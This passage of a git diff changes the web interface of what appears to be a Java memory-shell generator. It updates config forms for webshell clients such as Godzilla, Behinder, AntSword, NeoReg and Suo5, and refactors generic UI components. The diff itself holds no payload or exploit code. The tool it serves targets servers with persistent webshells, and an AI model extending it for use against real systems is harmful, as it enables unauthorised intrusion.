ShellToolType), ShellToolType.Custom]); - if (newShellTools.length > 0) { - const firstTool = newShellTools[0]; - setShellTypes(newShellToolMap[firstTool]); + + const currentShellTool = form.getValues("shellTool"); + + const firstTool = newShellTools[0]; + let currentShellTypes = null; + + if (!newShellToolMap[currentShellTool]) { form.setValue("shellTool", firstTool); + currentShellTypes = newShellToolMap[firstTool]; } else { - setShellTypes([]); + currentShellTypes = newShellToolMap[currentShellTool]; } + setShellTypes(currentShellTypes); + // 特殊环境的 JDK 版本 if ( (value === "SpringWebFlux" || value === "XXLJOB") && Number.parseInt(form.getValues("targetJdkVersion") as string) < 52 @@ -88,8 +113,6 @@ export function MainConfigCard({ form.resetField("targetJdkVersion"); } form.resetField("bypassJavaModule"); - form.resetField("shellTool"); - form.resetField("shellType"); form.resetField("urlPattern"); } }; @@ -133,14 +156,15 @@ export function MainConfigCard({ }; if (shellToolMap) { + let currentShellTypes = null; if (value === ShellToolType.Custom) { - setShellTypes(servers?.[form.getValues("server")] as string[]); + currentShellTypes = servers?.[form.getValues("server")] as string[]; } else { - setShellTypes(shellToolMap[value]); + currentShellTypes = shellToolMap[value]; } + setShellTypes(currentShellTypes); form.resetField("urlPattern"); - form.resetField("shellType"); form.resetField("shellClassName"); form.resetField("injectorClassName"); if (value === ShellToolType.Godzilla) { @@ -177,7 +201,7 @@ export function MainConfigCard({ control={form.control} name="server" render={({ field }) => ( - + {t("mainConfig.server")} )} @@ -38,7 +40,7 @@ export function AntSwordTabContent({ control={form.control} name="headerName" render={({ field }) => ( - + {t("shellToolConfig.headerName")} @@ -48,8 +50,10 @@ export function AntSwordTabContent({ control={form.control} name="headerValue" render={({ field }) => ( - - {t("shellToolConfig.headerValue")} + + + {t("shellToolConfig.headerValue")} {t("optional")} + )} diff --git a/web/src/components/tools/behinder-tab.tsx b/web/src/components/tools/behinder-tab.tsx index 964c0a6d..88fc8fde 100644 --- a/web/src/components/tools/behinder-tab.tsx +++ b/web/src/components/tools/behinder-tab.tsx @@ -27,8 +27,10 @@ export function BehinderTabContent({ control={form.control} name="behinderPass" render={({ field }) => ( - - {t("shellToolConfig.behinderPass")} + + + {t("shellToolConfig.behinderPass")} {t("optional")} + )} @@ -38,7 +40,7 @@ export function BehinderTabContent({ control={form.control} name="headerName" render={({ field }) => ( - + {t("shellToolConfig.headerName")} @@ -48,8 +50,10 @@ export function BehinderTabContent({ control={form.control} name="headerValue" render={({ field }) => ( - - {t("shellToolConfig.headerValue")} + + + {t("shellToolConfig.headerValue")} {t("optional")} + )} diff --git a/web/src/components/tools/classname-field.tsx b/web/src/components/tools/classname-field.tsx index 5f5a2f7d..3ba5cac9 100644 --- a/web/src/components/tools/classname-field.tsx +++ b/web/src/components/tools/classname-field.tsx @@ -12,7 +12,7 @@ export function OptionalClassFormField({ form }: Readonly<{ form: UseFormReturn< control={form.control} name="shellClassName" render={({ field }) => ( - + {t("mainConfig.shellClassName")} {t("optional")} @@ -24,7 +24,7 @@ export function OptionalClassFormField({ form }: Readonly<{ form: UseFormReturn< control={form.control} name="injectorClassName" render={({ field }) => ( - + {t("mainConfig.injectorClassName")} {t("optional")} diff --git a/web/src/components/tools/command-tab.tsx b/web/src/components/tools/command-tab.tsx index 7ba8f2ac..608f5554 100644 --- a/web/src/components/tools/command-tab.tsx +++ b/web/src/components/tools/command-tab.tsx @@ -27,8 +27,10 @@ export function CommandTabContent({ control={form.control} name="commandParamName" render={({ field }) => ( - - {t("shellToolConfig.paramName")} + + + {t("shellToolConfig.paramName")} {t("optional")} + diff --git a/web/src/components/tools/custom-tab.tsx b/web/src/components/tools/custom-tab.tsx index 9c6c076f..df7b4efa 100644 --- a/web/src/components/tools/custom-tab.tsx +++ b/web/src/components/tools/custom-tab.tsx @@ -32,7 +32,7 @@ export default function CustomTabContent({ control={form.control} name="shellClassBase64" render={({ field }) => ( - + {t("shellToolConfig.base64String")} File
- + {isFile ? ( { diff --git a/web/src/components/tools/godzilla-tab.tsx b/web/src/components/tools/godzilla-tab.tsx index 30aa6f5d..b27cb844 100644 --- a/web/src/components/tools/godzilla-tab.tsx +++ b/web/src/components/tools/godzilla-tab.tsx @@ -28,8 +28,10 @@ export function GodzillaTabContent({ control={form.control} name="godzillaPass" render={({ field }) => ( - - {t("shellToolConfig.pass")} + + + {t("shellToolConfig.pass")} {t("optional")} + )} @@ -38,8 +40,10 @@ export function GodzillaTabContent({ control={form.control} name="godzillaKey" render={({ field }) => ( - - {t("shellToolConfig.key")} + + + {t("shellToolConfig.key")} {t("optional")} + )} @@ -48,7 +52,7 @@ export function GodzillaTabContent({ control={form.control} name="headerName" render={({ field }) => ( - + {t("shellToolConfig.headerName")} @@ -58,8 +62,10 @@ export function GodzillaTabContent({ control={form.control} name="headerValue" render={({ field }) => ( - - {t("shellToolConfig.headerValue")} + + + {t("shellToolConfig.headerValue")} {t("optional")} + )} diff --git a/web/src/components/tools/neoreg-tab.tsx b/web/src/components/tools/neoreg-tab.tsx index 61fb1a20..351f68f3 100644 --- a/web/src/components/tools/neoreg-tab.tsx +++ b/web/src/components/tools/neoreg-tab.tsx @@ -28,7 +28,7 @@ export function NeoRegTabContent({ control={form.control} name="headerName" render={({ field }) => ( - + {t("shellToolConfig.headerName")} @@ -38,8 +38,10 @@ export function NeoRegTabContent({ control={form.control} name="headerValue" render={({ field }) => ( - - {t("shellToolConfig.headerValue")} + + + {t("shellToolConfig.headerValue")} {t("optional")} + )} diff --git a/web/src/components/tools/shelltype-field.tsx b/web/src/components/tools/shelltype-field.tsx index 4bd045db..65ce4446 100644 --- a/web/src/components/tools/shelltype-field.tsx +++ b/web/src/components/tools/shelltype-field.tsx @@ -16,7 +16,7 @@ export function ShellTypeFormField({ control={form.control} name="shellType" render={({ field }) => ( - + {t("mainConfig.shellMountType")} @@ -38,8 +38,10 @@ export function Suo5TabContent({ control={form.control} name="headerValue" render={({ field }) => ( - - {t("shellToolConfig.headerValue")} + + + {t("shellToolConfig.headerValue")} {t("optional")} + )} diff --git a/web/src/components/tools/urlpattern-field.tsx b/web/src/components/tools/urlpattern-field.tsx index 5b086e58..23a004a3 100644 --- a/web/src/components/tools/urlpattern-field.tsx +++ b/web/src/components/tools/urlpattern-field.tsx @@ -13,7 +13,7 @@ export function UrlPatternFormField({ form }: Readonly<{ form: UseFormReturn ( - + {t("mainConfig.urlPattern")} diff --git a/web/src/components/ui/alert-dialog.tsx b/web/src/components/ui/alert-dialog.tsx index 6dfbfb49..05f1664b 100644 --- a/web/src/components/ui/alert-dialog.tsx +++ b/web/src/components/ui/alert-dialog.tsx @@ -1,93 +1,102 @@ +"use client"; + import * as React from "react"; import * as AlertDialogPrimitive from "@radix-ui/react-alert-dialog"; import { cn } from "@/lib/utils"; import { buttonVariants } from "@/components/ui/button"; -const AlertDialog = AlertDialogPrimitive.Root; - -const AlertDialogTrigger = AlertDialogPrimitive.Trigger; +function AlertDialog({ ...props }: React.ComponentProps) { + return ; +} -const AlertDialogPortal = AlertDialogPrimitive.Portal; +function AlertDialogTrigger({ ...props }: React.ComponentProps) { + return ; +} -const AlertDialogOverlay = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)); -AlertDialogOverlay.displayName = AlertDialogPrimitive.Overlay.displayName; +function AlertDialogPortal({ ...props }: React.ComponentProps) { + return ; +} -const AlertDialogContent = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - - - ) { + return ( + - -)); -AlertDialogContent.displayName = AlertDialogPrimitive.Content.displayName; + ); +} -const AlertDialogHeader = ({ className, ...props }: React.HTMLAttributes) => ( -
-); -AlertDialogHeader.displayName = "AlertDialogHeader"; +function AlertDialogContent({ className, ...props }: React.ComponentProps) { + return ( + + + + + ); +} -const AlertDialogFooter = ({ className, ...props }: React.HTMLAttributes) => ( -
-); -AlertDialogFooter.displayName = "AlertDialogFooter"; +function AlertDialogHeader({ className, ...props }: React.ComponentProps<"div">) { + return ( +
+ ); +} -const AlertDialogTitle = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)); -AlertDialogTitle.displayName = AlertDialogPrimitive.Title.displayName; +function AlertDialogFooter({ className, ...props }: React.ComponentProps<"div">) { + return ( +
+ ); +} -const AlertDialogDescription = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)); -AlertDialogDescription.displayName = AlertDialogPrimitive.Description.displayName; +function AlertDialogTitle({ className, ...props }: React.ComponentProps) { + return ( + + ); +} + +function AlertDialogDescription({ + className, + ...props +}: React.ComponentProps) { + return ( + + ); +} -const AlertDialogAction = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)); -AlertDialogAction.displayName = AlertDialogPrimitive.Action.displayName; +function AlertDialogAction({ className, ...props }: React.ComponentProps) { + return ; +} -const AlertDialogCancel = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)); -AlertDialogCancel.displayName = AlertDialogPrimitive.Cancel.displayName; +function AlertDialogCancel({ className, ...props }: React.ComponentProps) { + return ; +} export { AlertDialog, diff --git a/web/src/components/ui/alert.tsx b/web/src/components/ui/alert.tsx index d457ccb7..aadf66c4 100644 --- a/web/src/components/ui/alert.tsx +++ b/web/src/components/ui/alert.tsx @@ -4,12 +4,13 @@ import { cva, type VariantProps } from "class-variance-authority"; import { cn } from "@/lib/utils"; const alertVariants = cva( - "relative w-full rounded-lg border px-4 py-3 text-sm [&>svg+div]:translate-y-[-3px] [&>svg]:absolute [&>svg]:left-4 [&>svg]:top-4 [&>svg]:text-foreground [&>svg~*]:pl-7", + "relative w-full rounded-lg border px-4 py-3 text-sm grid has-[>svg]:grid-cols-[calc(var(--spacing)*4)_1fr] grid-cols-[0_1fr] has-[>svg]:gap-x-3 gap-y-0.5 items-start [&>svg]:size-4 [&>svg]:translate-y-0.5 [&>svg]:text-current", { variants: { variant: { - default: "bg-background text-foreground", - destructive: "border-destructive/50 text-destructive dark:border-destructive [&>svg]:text-destructive", + default: "bg-card text-card-foreground", + destructive: + "text-destructive bg-card [&>svg]:text-current *:data-[slot=alert-description]:text-destructive/90", }, }, defaultVariants: { @@ -18,26 +19,31 @@ const alertVariants = cva( }, ); -const Alert = React.forwardRef< - HTMLDivElement, - React.HTMLAttributes & VariantProps ->(({ className, variant, ...props }, ref) => ( -
-)); -Alert.displayName = "Alert"; +function Alert({ className, variant, ...props }: React.ComponentProps<"div"> & VariantProps) { + return
; +} -const AlertTitle = React.forwardRef>( - ({ className, ...props }, ref) => ( -
- ), -); -AlertTitle.displayName = "AlertTitle"; +function AlertTitle({ className, ...props }: React.ComponentProps<"div">) { + return ( +
+ ); +} -const AlertDescription = React.forwardRef>( - ({ className, ...props }, ref) => ( -
- ), -); -AlertDescription.displayName = "AlertDescription"; +function AlertDescription({ className, ...props }: React.ComponentProps<"div">) { + return ( +
+ ); +} export { Alert, AlertTitle, AlertDescription }; diff --git a/web/src/components/ui/button.tsx b/web/src/components/ui/button.tsx index ef8b515f..0e17490e 100644 --- a/web/src/components/ui/button.tsx +++ b/web/src/components/ui/button.tsx @@ -5,22 +5,24 @@ import { cva, type VariantProps } from "class-variance-authority"; import { cn } from "@/lib/utils"; const buttonVariants = cva( - "inline-flex items-center justify-center gap-2 whitespace-nowrap rounded-md text-sm font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:size-4 [&_svg]:shrink-0", + "inline-flex items-center justify-center gap-2 whitespace-nowrap rounded-md text-sm font-medium transition-all disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg:not([class*='size-'])]:size-4 shrink-0 [&_svg]:shrink-0 outline-none focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:ring-[3px] aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive", { variants: { variant: { - default: "bg-primary text-primary-foreground shadow hover:bg-primary/90", - destructive: "bg-destructive text-destructive-foreground shadow-sm hover:bg-destructive/90", - outline: "border border-input bg-background shadow-sm hover:bg-accent hover:text-accent-foreground", - secondary: "bg-secondary text-secondary-foreground shadow-sm hover:bg-secondary/80", - ghost: "hover:bg-accent hover:text-accent-foreground", + default: "bg-primary text-primary-foreground shadow-xs hover:bg-primary/90", + destructive: + "bg-destructive text-white shadow-xs hover:bg-destructive/90 focus-visible:ring-destructive/20 dark:focus-visible:ring-destructive/40 dark:bg-destructive/60", + outline: + "border bg-background shadow-xs hover:bg-accent hover:text-accent-foreground dark:bg-input/30 dark:border-input dark:hover:bg-input/50", + secondary: "bg-secondary text-secondary-foreground shadow-xs hover:bg-secondary/80", + ghost: "hover:bg-accent hover:text-accent-foreground dark:hover:bg-accent/50", link: "text-primary underline-offset-4 hover:underline", }, size: { - default: "h-9 px-4 py-2", - sm: "h-8 rounded-md px-3 text-xs", - lg: "h-10 rounded-md px-8", - icon: "h-9 w-9", + default: "h-9 px-4 py-2 has-[>svg]:px-3", + sm: "h-8 rounded-md gap-1.5 px-3 has-[>svg]:px-2.5", + lg: "h-10 rounded-md px-6 has-[>svg]:px-4", + icon: "size-9", }, }, defaultVariants: { @@ -30,18 +32,19 @@ const buttonVariants = cva( }, ); -export interface ButtonProps - extends React.ButtonHTMLAttributes, - VariantProps { - asChild?: boolean; -} +function Button({ + className, + variant, + size, + asChild = false, + ...props +}: React.ComponentProps<"button"> & + VariantProps & { + asChild?: boolean; + }) { + const Comp = asChild ? Slot : "button"; -const Button = React.forwardRef( - ({ className, variant, size, asChild = false, ...props }, ref) => { - const Comp = asChild ? Slot : "button"; - return ; - }, -); -Button.displayName = "Button"; + return ; +} export { Button, buttonVariants }; diff --git a/web/src/components/ui/card.tsx b/web/src/components/ui/card.tsx index 82099ea7..a8fc56ae 100644 --- a/web/src/components/ui/card.tsx +++ b/web/src/components/ui/card.tsx @@ -2,42 +2,55 @@ import * as React from "react"; import { cn } from "@/lib/utils"; -const Card = React.forwardRef>(({ className, ...props }, ref) => ( -
-)); -Card.displayName = "Card"; - -const CardHeader = React.forwardRef>( - ({ className, ...props }, ref) => ( -
- ), -); -CardHeader.displayName = "CardHeader"; - -const CardTitle = React.forwardRef>( - ({ className, ...props }, ref) => ( -
- ), -); -CardTitle.displayName = "CardTitle"; - -const CardDescription = React.forwardRef>( - ({ className, ...props }, ref) => ( -
- ), -); -CardDescription.displayName = "CardDescription"; - -const CardContent = React.forwardRef>( - ({ className, ...props }, ref) =>
, -); -CardContent.displayName = "CardContent"; - -const CardFooter = React.forwardRef>( - ({ className, ...props }, ref) => ( -
- ), -); -CardFooter.displayName = "CardFooter"; - -export { Card, CardHeader, CardFooter, CardTitle, CardDescription, CardContent }; +function Card({ className, ...props }: React.ComponentProps<"div">) { + return ( +
+ ); +} + +function CardHeader({ className, ...props }: React.ComponentProps<"div">) { + return ( +
+ ); +} + +function CardTitle({ className, ...props }: React.ComponentProps<"div">) { + return
; +} + +function CardDescription({ className, ...props }: React.ComponentProps<"div">) { + return
; +} + +function CardAction({ className, ...props }: React.ComponentProps<"div">) { + return ( +
+ ); +} + +function CardContent({ className, ...props }: React.ComponentProps<"div">) { + return
; +} + +function CardFooter({ className, ...props }: React.ComponentProps<"div">) { + return ( +
+ ); +} + +export { Card, CardHeader, CardFooter, CardTitle, CardAction, CardDescription, CardContent }; diff --git a/web/src/components/ui/checkbox.tsx b/web/src/components/ui/checkbox.tsx index 5a4cc5a5..af4f2a07 100644 --- a/web/src/components/ui/checkbox.tsx +++ b/web/src/components/ui/checkbox.tsx @@ -1,26 +1,29 @@ +"use client"; + import * as React from "react"; import * as CheckboxPrimitive from "@radix-ui/react-checkbox"; -import { Check } from "lucide-react"; +import { CheckIcon } from "lucide-react"; import { cn } from "@/lib/utils"; -const Checkbox = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - - - - - -)); -Checkbox.displayName = CheckboxPrimitive.Root.displayName; +function Checkbox({ className, ...props }: React.ComponentProps) { + return ( + + + + + + ); +} export { Checkbox }; diff --git a/web/src/components/ui/dropdown-menu.tsx b/web/src/components/ui/dropdown-menu.tsx index 767ced0c..43ea299f 100644 --- a/web/src/components/ui/dropdown-menu.tsx +++ b/web/src/components/ui/dropdown-menu.tsx @@ -1,180 +1,219 @@ +"use client"; + import * as React from "react"; import * as DropdownMenuPrimitive from "@radix-ui/react-dropdown-menu"; -import { Check, ChevronRight, Circle } from "lucide-react"; +import { CheckIcon, ChevronRightIcon, CircleIcon } from "lucide-react"; import { cn } from "@/lib/utils"; -const DropdownMenu = DropdownMenuPrimitive.Root; - -const DropdownMenuTrigger = DropdownMenuPrimitive.Trigger; - -const DropdownMenuGroup = DropdownMenuPrimitive.Group; - -const DropdownMenuPortal = DropdownMenuPrimitive.Portal; - -const DropdownMenuSub = DropdownMenuPrimitive.Sub; - -const DropdownMenuRadioGroup = DropdownMenuPrimitive.RadioGroup; - -const DropdownMenuSubTrigger = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef & { - inset?: boolean; - } ->(({ className, inset, children, ...props }, ref) => ( - - {children} - - -)); -DropdownMenuSubTrigger.displayName = DropdownMenuPrimitive.SubTrigger.displayName; - -const DropdownMenuSubContent = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)); -DropdownMenuSubContent.displayName = DropdownMenuPrimitive.SubContent.displayName; - -const DropdownMenuContent = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, sideOffset = 4, ...props }, ref) => ( - - ) { + return ; +} + +function DropdownMenuPortal({ ...props }: React.ComponentProps) { + return ; +} + +function DropdownMenuTrigger({ ...props }: React.ComponentProps) { + return ; +} + +function DropdownMenuContent({ + className, + sideOffset = 4, + ...props +}: React.ComponentProps) { + return ( + + + + ); +} + +function DropdownMenuGroup({ ...props }: React.ComponentProps) { + return ; +} + +function DropdownMenuItem({ + className, + inset, + variant = "default", + ...props +}: React.ComponentProps & { + inset?: boolean; + variant?: "default" | "destructive"; +}) { + return ( + - -)); -DropdownMenuContent.displayName = DropdownMenuPrimitive.Content.displayName; - -const DropdownMenuItem = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef & { - inset?: boolean; - } ->(({ className, inset, ...props }, ref) => ( - svg]:size-4 [&>svg]:shrink-0", - inset && "pl-8", - className, - )} - {...props} - /> -)); -DropdownMenuItem.displayName = DropdownMenuPrimitive.Item.displayName; - -const DropdownMenuCheckboxItem = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, children, checked, ...props }, ref) => ( - - - - - - - {children} - -)); -DropdownMenuCheckboxItem.displayName = DropdownMenuPrimitive.CheckboxItem.displayName; - -const DropdownMenuRadioItem = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, children, ...props }, ref) => ( - - - - - - - {children} - -)); -DropdownMenuRadioItem.displayName = DropdownMenuPrimitive.RadioItem.displayName; - -const DropdownMenuLabel = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef & { - inset?: boolean; - } ->(({ className, inset, ...props }, ref) => ( - -)); -DropdownMenuLabel.displayName = DropdownMenuPrimitive.Label.displayName; - -const DropdownMenuSeparator = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)); -DropdownMenuSeparator.displayName = DropdownMenuPrimitive.Separator.displayName; - -const DropdownMenuShortcut = ({ className, ...props }: React.HTMLAttributes) => { - return ; -}; -DropdownMenuShortcut.displayName = "DropdownMenuShortcut"; + ); +} + +function DropdownMenuCheckboxItem({ + className, + children, + checked, + ...props +}: React.ComponentProps) { + return ( + + + + + + + {children} + + ); +} + +function DropdownMenuRadioGroup({ ...props }: React.ComponentProps) { + return ; +} + +function DropdownMenuRadioItem({ + className, + children, + ...props +}: React.ComponentProps) { + return ( + + + + + + + {children} + + ); +} + +function DropdownMenuLabel({ + className, + inset, + ...props +}: React.ComponentProps & { + inset?: boolean; +}) { + return ( + + ); +} + +function DropdownMenuSeparator({ className, ...props }: React.ComponentProps) { + return ( + + ); +} + +function DropdownMenuShortcut({ className, ...props }: React.ComponentProps<"span">) { + return ( + + ); +} + +function DropdownMenuSub({ ...props }: React.ComponentProps) { + return ; +} + +function DropdownMenuSubTrigger({ + className, + inset, + children, + ...props +}: React.ComponentProps & { + inset?: boolean; +}) { + return ( + + {children} + + + ); +} + +function DropdownMenuSubContent({ + className, + ...props +}: React.ComponentProps) { + return ( + + ); +} export { DropdownMenu, + DropdownMenuPortal, DropdownMenuTrigger, DropdownMenuContent, + DropdownMenuGroup, + DropdownMenuLabel, DropdownMenuItem, DropdownMenuCheckboxItem, + DropdownMenuRadioGroup, DropdownMenuRadioItem, - DropdownMenuLabel, DropdownMenuSeparator, DropdownMenuShortcut, - DropdownMenuGroup, - DropdownMenuPortal, DropdownMenuSub, - DropdownMenuSubContent, DropdownMenuSubTrigger, - DropdownMenuRadioGroup, + DropdownMenuSubContent, }; diff --git a/web/src/components/ui/form.tsx b/web/src/components/ui/form.tsx index d2465746..d2f203f4 100644 --- a/web/src/components/ui/form.tsx +++ b/web/src/components/ui/form.tsx @@ -1,7 +1,15 @@ import * as React from "react"; import * as LabelPrimitive from "@radix-ui/react-label"; import { Slot } from "@radix-ui/react-slot"; -import { Controller, ControllerProps, FieldPath, FieldValues, FormProvider, useFormContext } from "react-hook-form"; +import { + Controller, + FormProvider, + useFormContext, + useFormState, + type ControllerProps, + type FieldPath, + type FieldValues, +} from "react-hook-form"; import { cn } from "@/lib/utils"; import { Label } from "@/components/ui/label"; @@ -33,8 +41,8 @@ const FormField = < const useFormField = () => { const fieldContext = React.useContext(FormFieldContext); const itemContext = React.useContext(FormItemContext); - const { getFieldState, formState } = useFormContext(); - + const { getFieldState } = useFormContext(); + const formState = useFormState({ name: fieldContext.name }); const fieldState = getFieldState(fieldContext.name, formState); if (!fieldContext) { @@ -59,78 +67,70 @@ type FormItemContextValue = { const FormItemContext = React.createContext({} as FormItemContextValue); -const FormItem = React.forwardRef>( - ({ className, ...props }, ref) => { - const id = React.useId(); - - return ( - -
- - ); - }, -); -FormItem.displayName = "FormItem"; - -const FormLabel = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => { +function FormItem({ className, ...props }: React.ComponentProps<"div">) { + const id = React.useId(); + + return ( + +
+ + ); +} + +function FormLabel({ className, ...props }: React.ComponentProps) { const { error, formItemId } = useFormField(); - return